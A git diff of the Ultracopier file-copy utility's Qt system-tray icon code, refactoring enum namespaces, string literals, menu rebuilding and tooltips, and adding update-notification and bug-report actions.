+ timerCheckSetTooltip.start();
}
-void SystrayIcon::listenerReady(const ListeningState &state,const bool &havePlugin,const bool &someAreInWaitOfReply)
+void SystrayIcon::listenerReady(const Ultracopier::ListeningState &state,const bool &havePlugin,const bool &someAreInWaitOfReply)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("state: %1, havePlugin: %2, someAreInWaitOfReply: %3").arg(state).arg(havePlugin).arg(someAreInWaitOfReply));
- Q_UNUSED(someAreInWaitOfReply);
- stateListener=state;
- haveListenerInfo=true;
- haveListener=havePlugin;
- updateSystrayIcon();
- if(!havePlugin)
- showTryCatchMessageWithNoListener();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("state: %1, havePlugin: %2, someAreInWaitOfReply: %3").arg(state).arg(havePlugin).arg(someAreInWaitOfReply));
+ Q_UNUSED(someAreInWaitOfReply);
+ stateListener=state;
+ haveListenerInfo=true;
+ haveListener=havePlugin;
+ updateSystrayIcon();
+ if(!havePlugin)
+ showTryCatchMessageWithNoListener();
}
-void SystrayIcon::pluginLoaderReady(const CatchState &state,const bool &havePlugin,const bool &someAreInWaitOfReply)
+void SystrayIcon::pluginLoaderReady(const Ultracopier::CatchState &state,const bool &havePlugin,const bool &someAreInWaitOfReply)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("state: %1, havePlugin: %2, someAreInWaitOfReply: %3").arg(state).arg(havePlugin).arg(someAreInWaitOfReply));
- Q_UNUSED(someAreInWaitOfReply);
- statePluginLoader=state;
- havePluginLoaderInfo=true;
- havePluginLoader=havePlugin;
- updateSystrayIcon();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("state: %1, havePlugin: %2, someAreInWaitOfReply: %3").arg(state).arg(havePlugin).arg(someAreInWaitOfReply));
+ Q_UNUSED(someAreInWaitOfReply);
+ statePluginLoader=state;
+ havePluginLoaderInfo=true;
+ havePluginLoader=havePlugin;
+ updateSystrayIcon();
}
void SystrayIcon::showTryCatchMessageWithNoListener()
{
- showSystrayMessage(tr("No copy listener found. Do the copy manually by right click one the system tray icon."));
+ showSystrayMessage(tr("No copy listener found. Do the copy manually by right click one the system tray icon."));
}
/// \brief To show a message linked to the systray icon
void SystrayIcon::showSystrayMessage(const QString& text)
{
- showMessage(tr("Information"),text,QSystemTrayIcon::Information,0);
+ showMessage(tr("Information"),text,QSystemTrayIcon::Information,0);
+}
+
+#ifdef ULTRACOPIER_INTERNET_SUPPORT
+void SystrayIcon::messageClicked()
+{
+ QDesktopServices::openUrl(HelpDialog::getUpdateUrl());
}
+#endif
/// \brief To update the systray icon
void SystrayIcon::updateSystrayIcon()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, haveListenerInfo %1, havePluginLoaderInfo: %2").arg(haveListenerInfo).arg(havePluginLoaderInfo));
- QString toolTip="???";
- QString icon;
- if(!haveListenerInfo || !havePluginLoaderInfo)
- {
- toolTip=tr("Searching informations...");
- icon="Uncaught";
- }
- else
- {
- ListeningState stateListener=this->stateListener;
- CatchState statePluginLoader=this->statePluginLoader;
- if(!haveListener)
- stateListener=NotListening;
- if((stateListener==NotListening && statePluginLoader==Uncaught) || (stateListener==SemiListening && statePluginLoader==Semiuncaught) || (stateListener==FullListening && statePluginLoader==Caught))
- {
- if(stateListener==NotListening)
- {
- toolTip=tr("Not catching the explorer copy/move");
- icon="Uncaught";
- }
- else if(stateListener==SemiListening)
- {
- toolTip=tr("Semi catching the explorer copy/move");
- icon="Semiuncaught";
- }
- else
- {
- toolTip=tr("Catching the explorer copy/move");
- icon="Caught";
- }
- }
- else
- {
- icon="Semiuncaught";
- QString first_part;
- QString second_part;
- if(stateListener==NotListening)
- first_part="No listening";
- else if(stateListener==SemiListening)
- first_part="Semi listening";
- else if(stateListener==FullListening)
- first_part="Full listening";
- else
- first_part="Unknow listening";
- if(statePluginLoader==Uncaught)
- second_part="No catching";
- else if(statePluginLoader==Semiuncaught)
- second_part="Semi catching";
- else if(statePluginLoader==Caught)
- second_part="Full catching";
- else
- second_part="Unknow catching";
- toolTip=first_part+"/"+second_part;
- }
- }
- QIcon theNewSystrayIcon;
- #ifdef Q_OS_WIN32
- theNewSystrayIcon=themes->loadIcon("SystemTrayIcon/systray_"+icon+"_Windows.png");
- #else
- theNewSystrayIcon=themes->loadIcon("SystemTrayIcon/systray_"+icon+"_Unix.png");
- #endif
- if(theNewSystrayIcon.isNull())
- {
- #ifdef Q_OS_WIN32
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"use the default systray icon: :/systray_"+icon+"_Windows.png");
- theNewSystrayIcon=QIcon(":/systray_"+icon+"_Windows.png");
- #else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"use the default systray icon: :/systray_"+icon+"_Unix.png");
- theNewSystrayIcon=QIcon(":/systray_"+icon+"_Unix.png");
- #endif
- }
- else
- {
- #ifdef Q_OS_WIN32
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"icon: systray_"+icon+"_Windows.png");
- #else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"icon: systray_"+icon+"_Unix.png");
- #endif
- }
- setIcon(theNewSystrayIcon);
- setToolTip("Ultracopier - "+toolTip);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, haveListenerInfo %1, havePluginLoaderInfo: %2").arg(haveListenerInfo).arg(havePluginLoaderInfo));
+ QString toolTip=QStringLiteral("???");
+ QString icon;
+ if(!haveListenerInfo || !havePluginLoaderInfo)
+ {
+ toolTip=tr("Searching information...");
+ icon=QStringLiteral("Uncaught");
+ }
+ else
+ {
+ Ultracopier::ListeningState stateListener=this->stateListener;
+ Ultracopier::CatchState statePluginLoader=this->statePluginLoader;
+ if(!haveListener)
+ stateListener=Ultracopier::NotListening;
+ if((stateListener==Ultracopier::NotListening && statePluginLoader==Ultracopier::Uncaught) || (stateListener==Ultracopier::SemiListening && statePluginLoader==Ultracopier::Semiuncaught) || (stateListener==Ultracopier::FullListening && statePluginLoader==Ultracopier::Caught))
+ {
+ if(stateListener==Ultracopier::NotListening)
+ {
+ toolTip=tr("Do not replace the explorer copy/move");
+ icon=QStringLiteral("Uncaught");
+ }
+ else if(stateListener==Ultracopier::SemiListening)
+ {
+ toolTip=tr("Semi replace the explorer copy/move");
+ icon=QStringLiteral("Semiuncaught");
+ }
+ else
+ {
+ toolTip=tr("Replace the explorer copy/move");
+ icon=QStringLiteral("Caught");
+ }
+ }
+ else
+ {
+ icon=QStringLiteral("Semiuncaught");
+ QString first_part;
+ QString second_part;
+ if(stateListener==Ultracopier::NotListening)
+ first_part=QStringLiteral("No listening");
+ else if(stateListener==Ultracopier::SemiListening)
+ first_part=QStringLiteral("Semi listening");
+ else if(stateListener==Ultracopier::FullListening)
+ first_part=QStringLiteral("Full listening");
+ else
+ first_part=QStringLiteral("Unknow listening");
+ if(statePluginLoader==Ultracopier::Uncaught)
+ second_part=QStringLiteral("No replace");
+ else if(statePluginLoader==Ultracopier::Semiuncaught)
+ second_part=QStringLiteral("Semi replace");
+ else if(statePluginLoader==Ultracopier::Caught)
+ second_part=QStringLiteral("Full replace");
+ else
+ second_part=QStringLiteral("Unknow replace");
+ toolTip=first_part+QStringLiteral("/")+second_part;
+ }
+ }
+ QIcon theNewSystrayIcon;
+ #ifdef Q_OS_WIN32
+ theNewSystrayIcon=ThemesManager::themesManager->loadIcon(QStringLiteral("SystemTrayIcon/systray_")+icon+QStringLiteral("_Windows.png"));
+ #else
+ theNewSystrayIcon=ThemesManager::themesManager->loadIcon(QStringLiteral("SystemTrayIcon/systray_")+icon+QStringLiteral("_Unix.png"));
+ #endif
+ if(theNewSystrayIcon.isNull())
+ {
+ #ifdef Q_OS_WIN32
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"use the default systray icon: :/systray_"+icon+"_Windows.png");
+ theNewSystrayIcon=QIcon(QStringLiteral(":/systray_")+icon+QStringLiteral("_Windows.png"));
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"use the default systray icon: :/systray_"+icon+"_Unix.png");
+ theNewSystrayIcon=QIcon(QStringLiteral(":/systray_")+icon+QStringLiteral("_Unix.png"));
+ #endif
+ }
+ else
+ {
+ #ifdef Q_OS_WIN32
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"icon: systray_"+icon+"_Windows.png");
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"icon: systray_"+icon+"_Unix.png");
+ #endif
+ }
+ if(theNewSystrayIcon.isNull())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"All the icon include the default icon remain null");
+ setIcon(theNewSystrayIcon);
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ setToolTip(QStringLiteral("Supercopier - ")+toolTip);
+ #else
+ setToolTip(QStringLiteral("Ultracopier - ")+toolTip);
+ #endif
}
/* drag event processing (impossible with Qt on systray)
@@ -213,236 +279,318 @@ void dragLeaveEvent(QDragLeaveEvent* event);
*/
void SystrayIcon::dropEvent(QDropEvent *event)
{
- const QMimeData* mimeData = event->mimeData();
- if(mimeData->hasUrls())
- {
- //impossible with Qt on systray
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"mimeData->urls().size()"+QString::number(mimeData->urls().size()));
- emit urlDropped(mimeData->urls());
- event->acceptProposedAction();
- }
+ const QMimeData* mimeData = event->mimeData();
+ if(mimeData->hasUrls())
+ {
+ //impossible with Qt on systray
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"mimeData->urls().size()"+QString::number(mimeData->urls().size()));
+ emit urlDropped(mimeData->urls());
+ event->acceptProposedAction();
+ }
}
void SystrayIcon::dragEnterEvent(QDragEnterEvent* event)
{
- // if some actions should not be usable, like move, this code must be adopted
- event->acceptProposedAction();
+ // if some actions should not be usable, like move, this code must be adopted
+ event->acceptProposedAction();
}
void SystrayIcon::dragMoveEvent(QDragMoveEvent* event)
{
- // if some actions should not be usable, like move, this code must be adopted
- event->acceptProposedAction();
+ // if some actions should not be usable, like move, this code must be adopted
+ event->acceptProposedAction();
}
void SystrayIcon::dragLeaveEvent(QDragLeaveEvent* event)
{
- event->accept();
+ event->accept();
}
/// \brief To update the current themes
void SystrayIcon::updateCurrentTheme()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"icon: start");
- //load the systray menu item
- QIcon tempIcon;
-
- tempIcon=themes->loadIcon("SystemTrayIcon/exit.png");
- if(!tempIcon.isNull())
- IconQuit=QIcon(tempIcon);
- else
- IconQuit=QIcon("");
- actionMenuQuit->setIcon(IconQuit);
-
- tempIcon=themes->loadIcon("SystemTrayIcon/informations.png");
- if(!tempIcon.isNull())
- IconInfo=QIcon(tempIcon);
- else
- IconInfo=QIcon("");
- actionMenuAbout->setIcon(IconInfo);
-
- tempIcon=themes->loadIcon("SystemTrayIcon/options.png");
- if(!tempIcon.isNull())
- IconOptions=QIcon(tempIcon);
- else
- IconOptions=QIcon("");
- actionOptions->setIcon(IconOptions);
-
- tempIcon=themes->loadIcon("SystemTrayIcon/add.png");
- if(!tempIcon.isNull())
- IconAdd=QIcon(tempIcon);
- else
- IconAdd=QIcon("");
- copyMenu->setIcon(IconAdd);
-
- //update the systray icon
- updateSystrayIcon();
- reloadEngineList();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("icon: start"));
+ //load the systray menu item
+ QIcon tempIcon;
+
+ tempIcon=ThemesManager::themesManager->loadIcon(QStringLiteral("SystemTrayIcon/exit.png"));
+ if(!tempIcon.isNull())
+ IconQuit=QIcon(tempIcon);
+ else
+ IconQuit=QIcon(QStringLiteral(""));
+ actionMenuQuit->setIcon(IconQuit);
+
+ #ifdef ULTRACOPIER_DEBUG
+ actionSaveBugReport->setIcon(QIcon(":/warning.png"));
+ #endif
+
+ tempIcon=ThemesManager::themesManager->loadIcon(QStringLiteral("SystemTrayIcon/informations.png"));
+ if(!tempIcon.isNull())
+ IconInfo=QIcon(tempIcon);
+ else
+ IconInfo=QIcon(QStringLiteral(""));
+ actionMenuAbout->setIcon(IconInfo);
+
+ tempIcon=ThemesManager::themesManager->loadIcon(QStringLiteral("SystemTrayIcon/options.png"));
+ if(!tempIcon.isNull())
+ IconOptions=QIcon(tempIcon);
+ else
+ IconOptions=QIcon(QStringLiteral(""));
+ actionOptions->setIcon(IconOptions);
+
+ tempIcon=ThemesManager::themesManager->loadIcon(QStringLiteral("SystemTrayIcon/add.png"));
+ if(!tempIcon.isNull())
+ IconAdd=QIcon(tempIcon);
+ else
+ IconAdd=QIcon(QStringLiteral(""));
+
+ //update the systray icon
+ updateSystrayIcon();
+ reloadEngineList();
}
/* \brief For catch an action on the systray icon
\param reason Why it activated */
void SystrayIcon::CatchAction(QSystemTrayIcon::ActivationReason reason)
{
- if(reason==QSystemTrayIcon::DoubleClick || reason==QSystemTrayIcon::Trigger)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Double click on system tray icon");
- if(stateListener!=NotListening)
- emit tryUncatchCopy();
- else
- {
- if(!haveListener)
- {
- showTryCatchMessageWithNoListener();
- return;
- }
- emit tryCatchCopy();
- }
- }
- else if(reason==QSystemTrayIcon::Context)//do nothing on right click to show as auto the menu
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Action on the systray icon is unknown: %1").arg(reason));
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Action on the systray icon is unknown: %1").arg(reason));
- QMessageBox::warning(NULL,tr("Warning"),tr("Action on the systray icon is unknown!"));
- }
+ if(reason==QSystemTrayIcon::DoubleClick || reason==QSystemTrayIcon::Trigger)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Double click on system tray icon");
+ if(stateListener!=Ultracopier::NotListening)
+ emit tryUncatchCopy();
+ else
+ {
+ if(!haveListener)
+ {
+ showTryCatchMessageWithNoListener();
+ return;
+ }
+ emit tryCatchCopy();
+ }
+ }
+ else if(reason==QSystemTrayIcon::Context)//do nothing on right click to show as auto the menu
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("The action on the systray icon is unknown: %1").arg(reason));
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("The action on the systray icon is unknown: %1").arg(reason));
+ QMessageBox::warning(NULL,tr("Warning"),tr("The action on the systray icon is unknown!"));
+ }
}
/// \brief To catch copy menu action
void SystrayIcon::CatchCopyQuery()
{
- QAction * currentAction=qobject_cast<QAction *>(QObject::sender());
- if(currentAction==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action not found");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+currentAction->data().toString());
- emit addWindowCopyMove(Copy,currentAction->data().toString());
+ QAction * currentAction=qobject_cast<QAction *>(QObject::sender());
+ if(currentAction==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"action not found");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+currentAction->data().toString());
+ emit addWindowCopyMove(Ultracopier::Copy,currentAction->data().toString());
}
/// \brief To catch move menu action
void SystrayIcon::CatchMoveQuery()
{
- QAction * currentAction=qobject_cast<QAction *>(QObject::sender());
- if(currentAction==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action not found");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+currentAction->data().toString());
- emit addWindowCopyMove(Move,currentAction->data().toString());
+ QAction * currentAction=qobject_cast<QAction *>(QObject::sender());
+ if(currentAction==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"action not found");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+currentAction->data().toString());
+ emit addWindowCopyMove(Ultracopier::Move,currentAction->data().toString());
}
/// \brief To catch transfer menu action
void SystrayIcon::CatchTransferQuery()
{
- QAction * currentAction=qobject_cast<QAction *>(QObject::sender());
- if(currentAction==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action not found");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+currentAction->data().toString());
- emit addWindowTransfer(currentAction->data().toString());
+ QAction * currentAction=qobject_cast<QAction *>(QObject::sender());
+ if(currentAction==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"action not found");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+currentAction->data().toString());
+ emit addWindowTransfer(currentAction->data().toString());
}
/// \brief to retranslate the ui
void SystrayIcon::retranslateTheUI()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"retranslateTheUI");
- #ifdef ULTRACOPIER_DEBUG
- actionMenuAbout ->setText(tr("&About/Debug report"));
- #else // ULTRACOPIER_DEBUG
- actionMenuAbout ->setText(tr("&About"));
- #endif // ULTRACOPIER_DEBUG
- actionMenuQuit ->setText(tr("&Quit"));
- actionOptions ->setText(tr("&Options"));
- copyMenu ->setTitle(tr("A&dd copy/moving"));
- reloadEngineList();
- updateSystrayIcon();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"retranslateTheUI");
+ #ifdef ULTRACOPIER_DEBUG
+ actionMenuAbout ->setText(tr("&About/Debug report"));
+ #else // ULTRACOPIER_DEBUG
+ actionMenuAbout ->setText(tr("&About"));
+ #endif // ULTRACOPIER_DEBUG
+ #ifdef ULTRACOPIER_DEBUG
+ actionSaveBugReport->setText(tr("&Save bug report"));
+ #endif
+ actionMenuQuit ->setText(tr("&Quit"));
+ actionOptions ->setText(tr("&Options"));
+ reloadEngineList();
+ updateSystrayIcon();
}
void SystrayIcon::addCopyEngine(const QString &name,const bool &canDoOnlyCopy)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- EngineEntry entry;
- entry.name=name;
- entry.canDoOnlyCopy=canDoOnlyCopy;
- engineEntryList << entry;
- if(plugins->allPluginHaveBeenLoaded())
- reloadEngineList();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ EngineEntry entry;
+ entry.name=name;
+ entry.canDoOnlyCopy=canDoOnlyCopy;
+ engineEntryList << entry;
+ if(PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ reloadEngineList();
}
void SystrayIcon::removeCopyEngine(const QString &name)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<engineEntryList.size())
- {
- if(engineEntryList.at(index).name==name)
- {
- engineEntryList.removeAt(index);
- break;
- }
- index++;
- }
- void reloadEngineList();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<engineEntryList.size())
+ {
+ if(engineEntryList.at(index).name==name)
+ {
+ engineEntryList.removeAt(index);
+ break;
+ }
+ index++;
+ }
+ reloadEngineList();
+}
+
+#ifdef ULTRACOPIER_INTERNET_SUPPORT
+void SystrayIcon::newUpdate(const QString &version)
+{
+ /*if(version==lastVersion)
+ return;*/
+ lastVersion=version;
+ showSystrayMessage(tr("New version: %1").arg(version)+"\n"+tr("Click here to go on download page"));
}
+#endif
void SystrayIcon::reloadEngineList()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- copyMenu->clear();
- if(engineEntryList.size()==0)
- {
- copyMenu->setEnabled(false);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"engineEntryList.size(): "+QString::number(engineEntryList.size()));
- copyMenu->setEnabled(true);
- if(engineEntryList.size()==1)
- {
- QAction *copy=new QAction(IconAdd,tr("Add &copy"),copyMenu);
- connect(copy,SIGNAL(triggered()),this,SLOT(CatchCopyQuery()));
- copy->setData(engineEntryList.first().name);
- copyMenu->addAction(copy);
- if(!engineEntryList.first().canDoOnlyCopy)
- {
- QAction *transfer=new QAction(IconAdd,tr("Add &transfer"),copyMenu);
- connect(transfer,SIGNAL(triggered()),this,SLOT(CatchTransferQuery()));
- transfer->setData(engineEntryList.first().name);
- copyMenu->addAction(transfer);
- QAction *move=new QAction(IconAdd,tr("Add &move"),copyMenu);
- connect(move,SIGNAL(triggered()),this,SLOT(CatchMoveQuery()));
- move->setData(engineEntryList.first().name);
- copyMenu->addAction(move);
- }
- }
- else
- {
- int index=0;
- while(index<engineEntryList.size())
- {
- QMenu * menu=new QMenu(engineEntryList.at(index).name);
- QAction *copy=new QAction(IconAdd,tr("Add &copy"),menu);
- connect(copy,SIGNAL(triggered()),this,SLOT(CatchCopyQuery()));
- copy->setData(engineEntryList.at(index).name);
- menu->addAction(copy);
- if(!engineEntryList.at(index).canDoOnlyCopy)
- {
- QAction *transfer=new QAction(IconAdd,tr("Add &transfer"),menu);
- connect(transfer,SIGNAL(triggered()),this,SLOT(CatchTransferQuery()));
- transfer->setData(engineEntryList.at(index).name);
- menu->addAction(transfer);
- QAction *move=new QAction(IconAdd,tr("Add &move"),menu);
- connect(move,SIGNAL(triggered()),this,SLOT(CatchMoveQuery()));
- move->setData(engineEntryList.at(index).name);
- menu->addAction(move);
- }
- copyMenu->addMenu(menu);
- index++;
- }
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ if(copyMenu!=NULL)
+ {
+ delete copyMenu;
+ copyMenu=NULL;
+ }
+ copyMenu=new QMenu();
+ copyMenu ->setTitle(tr("A&dd copy/moving"));
+ copyMenu->setIcon(IconAdd);
+ systrayMenu->insertMenu(actionOptions,copyMenu);
+ copyMenu->setEnabled(true);
+ if(engineEntryList.size()==0)
+ {
+ copyMenu->setEnabled(false);
+ return;
+ }
+ #else
+ {
+ int index=0;
+ while(index<actions.size())
+ {
+ delete actions.at(index);
+ index++;
+ }
+ actions.clear();
+ }
+ #endif
+
+ if(engineEntryList.size()==0)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"engineEntryList.size(): "+QString::number(engineEntryList.size()));
+ if(engineEntryList.size()==1)
+ {
+ QAction *copy=new QAction(IconAdd,tr("&Copy"),nullptr);
+ connect(copy,&QAction::triggered,this,&SystrayIcon::CatchCopyQuery);
+ copy->setData(engineEntryList.first().name);
+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ copyMenu->addAction(copy);
+ #else
+ actions << copy;
+ systrayMenu->insertAction(actionOptions,copy);
+ #endif
+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ if(!engineEntryList.first().canDoOnlyCopy)
+ {
+ connect(copyMenu,&QMenu::triggered,this,&SystrayIcon::CatchTransferQuery);
+
+ QAction *transfer=new QAction(IconAdd,tr("&Transfer"),copyMenu);
+ connect(transfer,&QAction::triggered,this,&SystrayIcon::CatchTransferQuery);
+ transfer->setData(engineEntryList.first().name);
+ copyMenu->addAction(transfer);
+ QAction *move=new QAction(IconAdd,tr("&Move"),copyMenu);
+ connect(move,&QAction::triggered,this,&SystrayIcon::CatchMoveQuery);
+ move->setData(engineEntryList.first().name);
+ copyMenu->addAction(move);
+ }
+ else
+ connect(copyMenu,&QMenu::triggered,this,&SystrayIcon::CatchCopyQuery);
+ #else
+ if(!engineEntryList.first().canDoOnlyCopy)
+ {
+ QAction *transfer=new QAction(IconAdd,tr("&Transfer"),nullptr);
+ connect(transfer,&QAction::triggered,this,&SystrayIcon::CatchTransferQuery);
+ transfer->setData(engineEntryList.first().name);
+ systrayMenu->insertAction(actionOptions,transfer);
+ QAction *move=new QAction(IconAdd,tr("&Move"),nullptr);
+ connect(move,&QAction::triggered,this,&SystrayIcon::CatchMoveQuery);
+ move->setData(engineEntryList.first().name);
+ systrayMenu->insertAction(actionOptions,move);
+ }
+ #endif
+
+ }
+ else
+ {
+ int index=0;
+ while(index<engineEntryList.size())
+ {
+ const EngineEntry &engineEntry=engineEntryList.at(index);
+ const QString &name=engineEntry.name;
+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ QMenu * menu=new QMenu(name);
+ QAction *copy=new QAction(IconAdd,tr("Add &copy"),menu);
+ connect(copy,&QAction::triggered,this,&SystrayIcon::CatchCopyQuery);
+ copy->setData(name);
+ menu->addAction(copy);
+ if(!engineEntry.canDoOnlyCopy)
+ {
+ QAction *transfer=new QAction(IconAdd,tr("Add &transfer"),menu);
+ connect(transfer,&QAction::triggered,this,&SystrayIcon::CatchTransferQuery);
+ transfer->setData(name);
+ menu->addAction(transfer);
+ QAction *move=new QAction(IconAdd,tr("Add &move"),menu);
+ connect(move,&QAction::triggered,this,&SystrayIcon::CatchMoveQuery);
+ move->setData(name);
+ menu->addAction(move);
+ }
+ copyMenu->addMenu(menu);
+ #else
+ QAction *copy=new QAction(IconAdd,tr("Add &copy")+" ("+name+")",nullptr);
+ connect(copy,&QAction::triggered,this,&SystrayIcon::CatchCopyQuery);
+ copy->setData(name);
+ systrayMenu->insertAction(actionOptions,copy);
+ if(!engineEntry.canDoOnlyCopy)
+ {
+ QAction *transfer=new QAction(IconAdd,tr("Add &transfer")+" ("+name+")",nullptr);
+ connect(transfer,&QAction::triggered,this,&SystrayIcon::CatchTransferQuery);
+ transfer->setData(name);
+ systrayMenu->insertAction(actionOptions,transfer);
+ QAction *move=new QAction(IconAdd,tr("Add &move")+" ("+name+")",nullptr);
+ connect(move,&QAction::triggered,this,&SystrayIcon::CatchMoveQuery);
+ move->setData(name);
+ systrayMenu->insertAction(actionOptions,move);
+ }
+ #endif
+ index++;
+ }
+ }
}
diff --git a/SystrayIcon.h b/SystrayIcon.h
index b90cbea..bb7922c 100644
--- a/SystrayIcon.h
+++ b/SystrayIcon.h
@@ -1,8 +1,6 @@
/** \file SystrayIcon.h
\brief Define the class of the systray icon
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef SYSTRAY_ICON_H
@@ -18,107 +16,126 @@
#include <QUrl>
#include "Environment.h"
-#include "GlobalClass.h"
/** \brief The systray icon
This class provide a systray icon and its functions */
-class SystrayIcon : public QSystemTrayIcon, public GlobalClass
+class SystrayIcon : public QSystemTrayIcon
{
- Q_OBJECT
- public:
- /// \brief Initiate and show the icon in the systray
- SystrayIcon();
- /// \brief Hide and destroy the icon in the systray
- ~SystrayIcon();
- public slots:
- /// \brief For show a message linked to the systray icon
- void showSystrayMessage(const QString& text);
- /** \brief Send that's caught state have changed for CatchedState::Uncatched or CatchedState::Semicatched or CatchedState::Catched
- \see CatchState
- \see tryCatchCopy()
- \see tryUncatchCopy()
- \param state is the new state */
- void listenerReady(const ListeningState &state,const bool &havePlugin,const bool &someAreInWaitOfReply);
- void pluginLoaderReady(const CatchState &state,const bool &havePlugin,const bool &someAreInWaitOfReply);
- void addCopyEngine(const QString &name,const bool &canDoOnlyCopy);
- void removeCopyEngine(const QString &name);
- private:
- QMenu* systrayMenu; ///< Pointer on the menu
- QMenu* copyMenu; ///< Pointer on the copy menu (move or copy)
- QAction* actionMenuQuit; ///< Pointer on the Quit action
- QAction* actionMenuAbout; ///< Pointer on the About action
- QAction* actionOptions; ///< Pointer on the Options action
- QIcon IconQuit; ///< Pointer on the icon for quit
- QIcon IconInfo; ///< Pointer on the icon for info
- QIcon IconAdd; ///< Pointer on the icon for add
- QIcon IconOptions; ///< Pointer on the options
- /// \brief To update the systray icon
- void updateSystrayIcon();
- void showTryCatchMessageWithNoListener();
- struct EngineEntry
- {
- bool canDoOnlyCopy;
- QString name;
- };
- QList<EngineEntry> engineEntryList;
- // To store the current catch state
- ListeningState stateListener;
- CatchState statePluginLoader;
- bool haveListenerInfo,havePluginLoaderInfo;
- bool haveListener,havePluginLoader;
- QTimer timerCheckSetTooltip;
- /** \brief drag event processing (impossible with Qt on systray)
+ Q_OBJECT
+ public:
+ /// \brief Initiate and show the icon in the systray
+ SystrayIcon(QObject * parent = 0);
+ /// \brief Hide and destroy the icon in the systray
+ ~SystrayIcon();
+ public slots:
+ /// \brief For show a message linked to the systray icon
+ void showSystrayMessage(const QString& text);
+ /** \brief Send that's caught state have changed for CatchedState::Uncatched or CatchedState::Semicatched or CatchedState::Catched
+ \see CatchState
+ \see tryCatchCopy()
+ \see tryUncatchCopy()
+ \param state is the new state */
+ void listenerReady(const Ultracopier::ListeningState &state,const bool &havePlugin,const bool &someAreInWaitOfReply);
+ void pluginLoaderReady(const Ultracopier::CatchState &state,const bool &havePlugin,const bool &someAreInWaitOfReply);
+ void addCopyEngine(const QString &name,const bool &canDoOnlyCopy);
+ void removeCopyEngine(const QString &name);
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ void newUpdate(const QString &version);
+ #endif
+ private:
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ QString lastVersion;
+ #endif
+ QMenu* systrayMenu; ///< Pointer on the menu
